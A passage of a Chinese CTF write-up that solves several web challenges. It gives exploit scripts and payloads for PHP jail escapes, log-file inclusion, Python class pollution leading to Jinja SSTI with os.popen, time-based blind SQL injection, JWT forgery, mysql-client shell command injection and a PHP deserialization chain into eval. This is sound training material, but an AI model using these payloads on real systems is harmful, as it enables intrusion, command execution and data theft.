第一个绕过简单,第二个绕过需要知道一些基本的路径包含这些字母sevanxro,比如/var/log/nginx/access.log。由于 Nginx的访问日志会记录HTTP请求头,当包含日志文件时,其中的PHP代码( <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);"><?php ... ?></font>)会被服务器执行,所以在 <font style="color:rgb(15, 17, 21);">ua</font>头进行 rce 就行了
玩原神玩的 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );error_reporting (0 );include 'flag.php' ;if (sizeof ($_POST ['len' ]) == sizeof ($array )) { ys_open ($_GET ['tip' ]); } else { die ("错了!就你还想玩原神?❌❌❌" ); } function ys_open ($tip ) { if ($tip != "我要玩原神" ) { die ("我不管,我要玩原神!😭😭😭" ); } dumpFlag (); } function dumpFlag ( ) { if (!isset ($_POST ['m' ]) || sizeof ($_POST ['m' ]) != 2 ) { die ("可恶的QQ人!😡😡😡" ); } $a = $_POST ['m' ][0 ]; $b = $_POST ['m' ][1 ]; if (empty ($a ) || empty ($b ) || $a != "100%" || $b != "love100%" . md5 ($a )) { die ("某站崩了?肯定是某忽悠干的!😡😡😡" ); } include 'flag.php' ; $flag [] = array (); for ($ii = 0 ;$ii < sizeof ($array );$ii ++) { $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii ); } echo json_encode ($flag ); } 错了!就你还想玩原神?❌❌❌
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport hashliburl = "http://challenge.imxbt.cn:30561/" params = { "tip" : "我要玩原神" } data = {} for i in range (1 , 100 ): key = "len[" + f"{i} " + "]" data[key] = i r = requests.post(url, params=params, data=data) if i == 45 : data["m[0]" ]="100%" data["m[1]" ] = "love100%" + hashlib.md5(b'100%' ).hexdigest() r = requests.post(url=url, params=params, data=data) print (r.text) break
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 md5_list = [ "3295c76acbf4caaed33c36b1b5fc2cb1" , "26657d5ff9020d2abefe558796b99584" , "73278a4a86960eeb576a8fd4c9ec6997" , "ec8956637a99787bd197eacd77acce5e" , "e2c420d928d4bf8ce0ff2ec19b371514" , "43ec517d68b6edd3015b3edc9a11367b" , "ea5d2f1c4608232e07d3aa3d998e5135" , "c8ffe9a587b126f152ed3d89a146b445" , "093f65e080a295f8076b1c5722a46aa2" , "c9e1074f5b3f9fc8ea15d152add07294" , "a3c65c2974270fd093ee8a9bf8ae7d0b" , "44f683a84163b3523afe57c2e008bc8c" , "9a1158154dfa42caddbd0694a4e9bdc8" , "9a1158154dfa42caddbd0694a4e9bdc8" , "66f041e16a60928b05a7e228a89c3799" , "7f39f8317fbdb1988ef4c628eba02591" , "7f39f8317fbdb1988ef4c628eba02591" , "19ca14e7ea6328a42e0eb13d585e4c22" , "d67d8ab4f4c10bf22aa353e27879133c" , "eb160de1de89d9058fcb0b968dbbbd68" , "a5bfc9e07964f8dddeb95fc584cd965d" , "9f61408e3afb633e50cdf1b20de6f466" , "e369853df766fa44e1ed0ff613f563bd" , "e369853df766fa44e1ed0ff613f563bd" , "069059b7ef840f0c74a814ec9237b6ec" , "c8ffe9a587b126f152ed3d89a146b445" , "b53b3a3d6ab90ce0268229151c9bde11" , "e369853df766fa44e1ed0ff613f563bd" , "a0a080f42e6f13b3a2df133f073095dd" , "069059b7ef840f0c74a814ec9237b6ec" , "67c6a1e7ce56d3d6fa748ab6d9af3fd7" , "c0c7c76d30bd3dcaefc96f40275bdc0a" , "b6d767d2f8ed5d21a44b0e5886680cb9" , "98f13708210194c475687be6106a3b84" , "4e732ced3463d06de0ca9a15b6153677" , "fc490ca45c00b1249bbe3554a4fdf6fb" , "6ea9ab1baa0efb9e19094440c317e21b" , "b6d767d2f8ed5d21a44b0e5886680cb9" , "ea5d2f1c4608232e07d3aa3d998e5135" , "b6d767d2f8ed5d21a44b0e5886680cb9" , "34173cb38f07f89ddbebc2ac9128303f" , "c16a5320fa475530d9583c34fd356ef5" , "34173cb38f07f89ddbebc2ac9128303f" , "33e75ff09dd601bbe69f351039152189" , "43ec517d68b6edd3015b3edc9a11367b" ] md5_value = {} for v in range (256 ): md5 = hashlib.md5(str (v).encode()).hexdigest() md5_value[md5] = v flag = [] for i, md5 in enumerate (md5_list): c = md5_value[md5] original_byte = c ^ i flag.append(chr (original_byte)) flag = '' .join(flag) print (flag)
ez_php_jail 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file(__FILE__); error_reporting(0 ); include("hint.html" ); $Jail = $_GET['Jail_by.Happy' ]; if ($Jail == null) die("Do You Like My Jail?" );function Like_Jail($var) { if (preg_match('/(`|\$|a|c|s|require|include)/i' , $var)) { return false; } return true; } if (Like_Jail($Jail)) { eval ($Jail); echo "Yes! you escaped from the jail! LOL!" ; } else { echo "You will Jail in your life!" ; } echo "\n" ; // 在HTML解析后再输出PHP源代码 ?>
打开源码得:base64 解码得: ph0_info_Like_jail.php
看 phpinfo 发现好多函数被 ban 了
这里用到了 glob() 函数,它返回一个包含匹配指定模式的文件名或目录的数组。
该函数返回一个包含有匹配文件/目录的数组。如果失败则返回 FALSE。
php 版本小于 8 时,GET 请求的参数名含有.,会被转为_,但是如果参数名中有[,这个[ 会被直接转为_ ,但是后⾯如果有. ,这个. 就不会被转为_ 。
所以 payload:Jail[by.Happy 用来绕过
1 ?Jail[by.Happy=highlight_file(glob("/f*")[0]);
Week4 圣钥之战1.0
进 read 看看 http://challenge.imxbt.cn:31080/read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag (乐) from flask import Flask,requestimport json app = Flask (__name__) def merge (src, dst): for k, v in src.items (): if hasattr (dst, '__getitem__' ): if dst.get (k) and type (v) == dict: merge (v, dst.get (k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict: merge (v, getattr (dst, k)) else : setattr (dst, k, v) def is_json (data): try : json.loads (data) return True except ValueError: return False class cls (): def __init__ (self ): pass instance = cls ()@app .route ('/', methods =['GET ', 'POST ']) def hello_world (): return open ('/static /index .html ', encoding ="utf -8").read () @app .route ('/read ', methods =['GET ', 'POST ']) def Read (): file = open (__file__ , encoding ="utf -8").read () return f "J1ngHong 说:你想read flag 吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag (乐) {file}" @app.route('/pollute', methods=['GET', 'POST']) def Pollution(): if request.is_json: merge(json.loads(request.data),instance) else: return " J1ngHong说:钥匙圣洁无暇,无人可以污染!" return " J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__': app.run(host='0.0.0.0',port=80)
原型链污染(Prototype Pollution)是 JavaScript 中常见的一种漏洞,攻击者通过修改对象的原型( <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">__proto__</font>)来影响所有继承自该原型的对象,从而可能导致属性覆盖、拒绝服务甚至远程代码执行。在 Python 中,虽然没有原型链,但类似的概念可以通过修改类属性或全局变量来实现,比如利用递归合并函数覆盖对象的特殊属性(如 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">__class__</font>、 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">__globals__</font>),进而改变程序行为。
flag直接读取不就行了? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file('index.php' ); error_reporting(0 ); $J1ng = $_POST['J' ]; $Hong = $_POST['H' ]; $Keng = $_GET['K' ]; $Wang = $_GET['W' ]; $dir = new $Keng($Wang); foreach($dir as $f) { echo($f . '<br>' ); } echo new $J1ng($Hong); ?>
明显是要用 php 中的一些原生类所以查了下资料
目录遍历: <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">DirectoryIterator</font>、 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">FilesystemIterator</font>、 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">GlobIterator</font> 用于列出目录内容, <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">echo</font> 输出匹配的第一个文件名。 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">GlobIterator</font> 直接支持通配符(不加 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">glob://</font>)。
文件读取: <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">SplFileObject</font> 配合 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">php://filter</font> 伪协议读取完整文件,例如: <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">php://filter/convert.base64-encode/resource=flag.php</font>(直接 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">echo</font> 仅读第一行)。
payload:
1 2 get:?K=FilesystemIterator&W=/secret post:J=SplFileObject&H=php://filter /read=convert.base64-encode/resource=/secret/f11444g.php
only one sql
在Oracle数据库中, <font style="color:rgb(33, 33, 33);">execute immediate</font>是一种动态SQL语句的执行方式。它允许用户在运行时构造SQL语句并立即执行,而不需要事先声明或准备。
直接非预期解:
1 execute immediate concat('sel','ect * from flag')
预期解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport stringimport timeurl = "http://challenge.imxbt.cn:30682/" charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-" flag = "" for i in range (1 , 80 ): for c in charset: guess = flag + c payload = f"update flag set id='1' where if(data regexp '^{guess} ',sleep(1.5),1)" start = time.time() try : requests.get(url, params={"sql" : payload}, timeout=5 ) except : pass cost = time.time() - start if cost > 1.3 : flag += c print ("current:" , flag) break print ("flag:" , flag)
No JWT 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from flask import Flask, request, jsonifyimport jwtimport datetimeimport osimport randomimport stringapp = Flask(__name__) app.secret_key = '' .join(random.choices(string.ascii_letters + string.digits, k=16 )) @app.route('/login' , methods=['POST' ] ) def login (): data = request.json username = data.get('username' ) password = data.get('password' ) token = jwt.encode({ 'sub' : username, 'role' : 'user' , 'exp' : datetime.datetime.utcnow() + datetime.timedelta(hours=1 ) }, app.secret_key, algorithm='HS256' ) return jsonify({'token' : token}), 200 @app.route('/flag' , methods=['GET' ] ) def flag (): token = request.headers.get('Authorization' ) if token: try : decoded = jwt.decode(token.split(" " )[1 ], options={"verify_signature" : False , "verify_exp" : False }) if decoded.get('role' ) == 'admin' : with open ('/flag' , 'r' ) as f: flag_content = f.read() return jsonify({'flag' : flag_content}), 200 else : return jsonify({'message' : 'Access denied: admin only' }), 403 except FileNotFoundError: return jsonify({'message' : 'Flag file not found' }), 404 except jwt.ExpiredSignatureError: return jsonify({'message' : 'Token has expired' }), 401 except jwt.InvalidTokenError: return jsonify({'message' : 'Invalid token' }), 401 return jsonify({'message' : 'Token is missing' }), 401 if __name__ == '__main__' : app.run(debug=True )
分析代码只要用户是 admin 就输出 flag,并且要有这个头 Authorization 并且在 HTTP 认证中, <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">Bearer</font> 是一种标准的身份验证方案,用于传递令牌(如 JWT)。它的格式通常是:
1 Authorization: Bearer <token>
先抓包得到原始的 token,会显示application/json 所以要改一下
加上 json 就可以得到原始的 token 了
赛博厨子进行炒一下得
之后改为 admin 再加密
放进 /flag 发一下就行了
1 2 3 4 5 6 7 8 GET /flag HTTP/1.1 Host: challenge.imxbt.cn:30494 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0 .0 .0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*/*;q=0.8 ,application/signed-exchange;v=b3;q=0.7 Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc3MzE1Mjg0MywiaWF0IjoxNzczMTQ5NDE1fQ.hEcIvN7m-B_5yqVYmyA4fVMuHa9mIT7SpyuWyvIse4o Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1
Final Jinja Mark 去 index 里看看
waf 了
进 /flag 看看
写爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsurl = "http://challenge.imxbt.cn:32143/flag" params = { } count = 0 for i in range (5000 ,9999 ): data = { "lucky_number" : f"{i} " } resp = requests.post(url=url, params=params, data=data) if int (i / 100 ) * 100 == i : print (f"{i} : {len (resp.text)} " ) if len (resp.text) != 312 : print (f"{i} : {resp.text} " ) break
爆出 <font style="color:rgb(0, 0, 0);">lucky_number</font> 是 <font style="color:rgb(0, 0, 0);">5346</font>
可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 BLACKLIST_IN_index = ['{' ,'}' ] def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) @app.route('/magic' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) return "这个魔术还行吧" else : return "我要json的魔术" return "记得用POST方法把魔术交上来"
所以还是原型链污染,在 /magic 和 /index 的路由下进行操作,payload:
/magic下
1 2 3 4 5 6 7 8 9 { "__class__" : { "__init__" : { "__globals__" : { "BLACKLIST_IN_index" : "" } } } }
/index下:
1 { { config.__class__.__init__.__globals__[ 'os'] .popen('cat /f*').read()} }
1z_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file ('index.php' );$emp =$_GET ['e_m.p' ];$try =$_POST ['try' ];if ($emp !="114514" &&intval ($emp ,0 )===114514 ){ for ($i =0 ;$i <strlen ($emp );$i ++){ if (ctype_alpha ($emp [$i ])){ die ("你不是hacker?那请去外场等候!" ); } } echo "只有真正的hacker才能拿到flag!" ."<br>" ; if (preg_match ('/.+?HACKER/is' ,$try )){ die ("你是hacker还敢自报家门呢?" ); } if (!stripos ($try ,'HACKER' ) === TRUE ){ die ("你连自己是hacker都不承认,还想要flag呢?" ); } $a =$_GET ['a' ]; $b =$_GET ['b' ]; $c =$_GET ['c' ]; if (stripos ($b ,'php' )!==0 ){ die ("收手吧hacker,你得不到flag的!" ); } echo (new $a ($b ))->$c (); } else { die ("114514到底是啥意思嘞?。?" ); } $shell =$_POST ['shell' ];eval ($shell );?>
分析代码
1 2 if ($emp !="114514" &&intval ($emp ,0 )===114514 ) {...}else {die ("114514到底是啥意思嘞?。?" );}
这个绕过需要使得传入的参数 e_m.p 的值不为 114514 但是整数值为 114514。所以 e_m.p 直接取 114514.114514 就可以了。
???,查了一下由于参数名 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">e_m.p</font> 中包含点,直接通过URL传递时,PHP会将点转换为下划线( <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">e_m_p</font>),导致无法获取,所以得换种形式
当 php 版本小于 8 时,GET 请求的参数名含有.,会被转为_,但是如果参数名中有[,这个[ 会被直接转为_ ,但是后面如果有. ,这个. 就不会被转为_ 。
?e_m.p=114514.1(无括号):由于没有括号,点号在 url 传参非法所以会转换成给e_m_p传参,传参后原来的 e_m.p并没有接收到参数所以不会被赋值
?e[m.p]=114514.1(有右括号):由于包含 [ 和 ],PHP将其解析为数组:e 是数组名,m.p 是数组键。最终生成:$_GET['e']['m.p'] = '114514.1'。数组键中的点号保留,不会被转换为下划线。但是原来的 e_m.p并没有接收到参数所以不会被赋值
?e[m.p=114514.1(无右括号):由于缺少右括号 ],PHP不将其视为数组,而是当作一个普通参数名,完整的参数名是e[m.p。然后PHP对参数名进行非法字符转换:点号被转换为下划线,得到 e[m_p。最终生成:$_GET['e[m_p'] = '114514.1'。
这样就直接绕过了
分析代码:
1 2 3 4 5 for ($i =0 ;$i <strlen ($emp );$i ++){ if (ctype_alpha ($emp [$i ])){ die ("你不是hacker?那请去外场等候!" ); } }
该循环检查 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">$emp</font> 中的每个字符,若存在字母则终止。要绕过,只需让 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">$emp</font> 不包含任何字母,同时满足 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">intval($emp,0) === 114514</font> 且 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">$emp != "114514"</font>。常见方法是在数字后添加非字母字符(如小数点、空格、加号等),例如 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">114514.1</font>、 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">114514</font>(末尾空格)或 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">114514+</font> 等。这样 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">intval</font> 会截取到第一个非数字字符,得到 114514,而字符串本身不等于 “114514”,且不包含字母,从而通过循环。而用 <font style="color:rgb(15, 17, 21);">114514a</font> 进行绕过就会被拦截
分析代码:
1 2 3 4 5 6 if (preg_match ('/.+?HACKER/is' ,$try )){ die ("你是hacker还敢自报家门呢?" ); } if (!stripos ($try ,'HACKER' ) === TRUE ){ die ("你连自己是hacker都不承认,还想要flag呢?" ); }
绕过原理: <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">preg_match</font>的正则匹配回溯次数超过 1000000 时, <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">preg_match</font> 会返回 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">false</font>
构造 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">$try = '-' * 1000001 . 'HACKER'</font>。即1000001个短横线后接 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">HACKER</font>。正则 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">/.+?HACKER/</font> 会从第一个字符开始尝试,每次匹配一个短横线,然后检查后面是否为 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">HACKER</font>,直到第1000001次才成功(因为后面紧跟 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">HACKER</font>)。这需要1000001次回溯,超过限制1000000,从而绕过。
分析代码:
1 2 3 4 5 6 7 $a =$_GET ['a' ];$b =$_GET ['b' ];$c =$_GET ['c' ];if (stripos ($b ,'php' )!==0 ){ die ("收手吧hacker,你得不到flag的!" ); } echo (new $a ($b ))->$c ();
重点在于这里 new 了一个类:(new $a($b))->$c(),所以我们可以用SplFileObject类中的fpassthru和fgets函数进行绕过,由于是 flag.php,所以用伪协议读php://filter/read=convert.base64-encode/resource=flag.php
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl = "http://challenge.imxbt.cn:32028/" params = { "e[m.p" : "114514.114514" , "a" : "SplFileObject" , "b" : "php://filter/read=convert.base64-encode/resource=flag.php" , "c" : "fpassthru" } data= { "try" : "-" * 1000001 + "HACKER" } r = requests.post(url=url, params=params, data=data) print (r.text)
Lucky Number 给源码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask,request,render_template_string,render_templatefrom jinja2 import Templateimport jsonimport heavendef merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() BLACKLIST_IN_index = ['{' ,'}' ] def is_json (data ): try : json.loads(data) return True except ValueError: return False @app.route('/m4G1c' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) result = heaven.create() message = result["message" ] return "这个魔术还行吧 " + messageelse : return "我要json的魔术" return "记得用POST方法把魔术交上来" def create (kon="Kon" , pure="Pure" , *, confirm=False ): if confirm and "lucky_number" not in create.__kwdefaults__: return {"message" : "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?" , "lucky_number" : "nope" } if confirm and "lucky_number" in create.__kwdefaults__: return {"message" : "这是你的lucky_number,请拿好,去/check下检查一下吧" , "lucky_number" : create.__kwdefaults__["lucky_number" ]} return {"message" : "你有什么想创造的吗?" , "lucky_number" : "nope" }
照样原型链污染,注意是 heaven.py 下的 create 函数的 __kwdefaults__
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "__class__" : { "__init__" : { "__globals__" : { "heaven" : { "create" : { "__kwdefaults__" : { "confirm" : "True" , "lucky_number" : "123" } } } } } } }
访问 /check 发现黑名单没了,所以可以 进 /ssSstTti1 SSTI 了
payload:
1 flag={{config.__class__.__init__.__globals__['os'].popen("cat flag").read()}}
Back to the Future 进来没啥东西
根据指引下载了GitHacker
1 2 3 4 5 6 7 PS D:\tools\GitHacker-1 .1.3 > githacker --url http://challenge.imxbt.cn:32464 /.git --output 123 ...... 2026 -03-11 19 :13 :47 INFO Check it out: 123 \8 f37cec6e6157ccaf056a06386fe645b2026 -03-11 19 :13 :47 INFO 1 / 1 were exploited successfully2026 -03-11 19 :13 :47 INFO http://challenge.imxbt.cn:32464 /.git -> 123 \8 f37cec6e6157ccaf056a06386fe645b
进目录看一下,发现 flag 被删了
看下日志
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 PS D:\tools\GitHacker-1 .1.3 \123 \8 f37cec6e6157ccaf056a06386fe645b> git logcommit e2bc04bc70f7b7476ae7ad0e943ef62aa2b5556e (HEAD -> master, origin/master, origin/HEAD) Author: Kengwang <github@kengwang.com.cn> Date: Fri Aug 23 02 :35 :28 2024 +0800 Remove Flag commit 9 d85f10e0192ef630e10d7f876a117db41c30417 Author: Kengwang <github@kengwang.com.cn> Date: Fri Aug 23 02 :34 :33 2024 +0800 Add What commit 8 f7720b7891039b394e26e67ff10d6c6d2a144d5 Author: Kengwang <github@kengwang.com.cn> Date: Fri Aug 23 02 :32 :38 2024 +0800 Initial Commit
恢复提交记录就行了
1 PS D:\tools\GitHacker-1.1.3\123\8f37cec6e6157ccaf056a06386fe645b> git checkout 9d85f10e0192ef630e10d7f876a117db41c30417
RCE or Sql Inject 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ ); $sql = $_GET ['sql' ];if (preg_match ('/se|ec|;|@|del|into|outfile/i' , $sql )) { die ("你知道的,不可能有sql注入" ); } if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"" ;system ($query ); ctfer! You can't succeed this time! hahaha ctfer! You can' t succeed this time! hahaha
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 mysql> ? For information about MySQL products and services, visit: http://www.mysql.com/ For developer information, including the MySQL Reference Manual, visit: http://dev.mysql.com/ To buy MySQL Enterprise support, training, or other products, visit: https://shop.mysql.com/ List of all MySQL commands: Note that all text commands must be first on line and end with ';' ? (\?) Synonym for `help'. clear (\c) Clear the current input statement. connect (\r) Reconnect to the server. Optional arguments are db and host. delimiter (\d) Set statement delimiter. ego (\G) Send command to mysql server, display result vertically. exit (\q) Exit mysql. Same as quit. go (\g) Send command to mysql server. help (\h) Display this help. notee (\t) Don' t write into outfile.print (\p) Print current command. prompt (\R) Change your mysql prompt. quit (\q) Quit mysql. rehash (\ source (\.) Execute an SQL script file. Takes a file name as an argument. status (\s) Get status information from the server. system (\!) Execute a system shell command, if enabled tee (\T) Set outfile [to_outfile ]. Append everything into given outfile.use (\u) Use another database. Takes database name as argument. charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets. warnings (\W) Show warnings after every statement. nowarning (\w) Don't show warnings after every statement. resetconnection(\x) Clean session context. query_attributes Sets string parameters (name1 value1 name2 value2 ...) for the next query to pick up. ssl_session_data_print Serializes the current SSL session data to stdout or file For server side help, type ' help contents' mysql>
注意到system (\!) Execute a system shell command, if enabled
所以执行system就可以用 \!代替
1 2 3 4 5 mysql> system whoami fischl\gaohang mysql> \! whoami fischl\gaohang mysql>
看了 wp
1 2 3 ?sql=%0 asystem whoami //这样通过换行符来执行命令 ?sql=%0 asystem export //通过环境变量读flag ?sql=%0 a system cat /proc/s*lf/environ
Sql Inject or RCE 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file(__FILE__); $sql = $_GET ['sql' ];if (preg_match('/se|ec|st|;|@|delete|into|outfile/i' , $sql )) { die("你知道的,不可能有sql注入" ); } if (preg_match('/"|\$|`|\\\\/i' , $sql )) { die("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \" use ctf;select 'ctfer! You can\\' t succeed this time! hahaha'; -- " . $sql . "\""; system($query);
看表
看列名
st 没有了所以只能用 next 了
1 http://challenge.imxbt.cn:32502 /?sql=%0a delimiter LFischl %0a handler flag open LFischl %0a handler flag read next
ez_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php highlight_file (__file__); function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); } class Hacker { public $start ; public $end ; public $username ="hacker" ; public function __construct ($start ) { $this ->start=$start ; } public function __wakeup ( ) { $this ->username="hacker" ; $this ->end = $this ->start; } public function __destruct ( ) { if (!preg_match ('/ctfer/i' ,$this ->username)){ echo 'Hacker!' ; } } } class C { public $c ; public function __toString ( ) { $this ->c->c (); return "C" ; } } class T { public $t ; public function __call ($name ,$args ) { echo $this ->t->t; } } class F { public $f ; public function __get ($name ) { return isset ($this ->f->f); } } class E { public $e ; public function __isset ($name ) { ($this ->e)(); } } class R { public $r ; public function __invoke ( ) { eval ($this ->r); } } if (isset ($_GET ['ez_ser.from_you' ])){ $ctf = new Hacker ('{{{' .$_GET ['ez_ser.from_you' ].'}}}' ); if (preg_match ("/\[|\]/i" , $_GET ['substr' ])){ die ("NONONO!!!" ); } $pre = isset ($_GET ['substr' ])?$_GET ['substr' ]:"substr" ; $ser_ctf = substrstr ($pre ."[" .serialize ($ctf )."]" ); $a = unserialize ($ser_ctf ); throw new Exception ("杂鱼~杂鱼~" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); } class Hacker { public $start ; public $end ; public $username ="Hacker" ; } class C { public $c ; } class T { public $t ; } class F { public $f ; } class E { public $e ; } class R { public $r = 'system("ls");' ; } $LFischl = new Hacker ();$LFischl ->end = &$LFischl ->username;$LFischl ->start = new C ();$LFischl ->start->c = new T ();$LFischl ->start->c->t = new F ();$LFischl ->start->c->t->f = new E ();$LFischl ->start->c->t->f->e = new R ();$Klee =array ('1' =>$LFischl ,'2' =>null );echo serialize ($Klee )."\n" ."末尾2改为1" ."\n" ;$substr ="" ;$ez_ser_from_you = 'a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:5:"Hacker";s:8:"username";R:9;}i:1;N;}' ;echo $ez_ser_from_you ."\n" ;$ctf = new Hacker ('{{{' .$ez_ser_from_you .'}}}' );$pre = $substr ;$ser_ctf = substrstr ($pre ."[" .serialize ($ctf )."]" );echo "\n经过substrstr函数操作的结果:\n" .serialize ($ctf );$a = unserialize ($ser_ctf );throw new Exception ("杂鱼~杂鱼~" );
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
由于
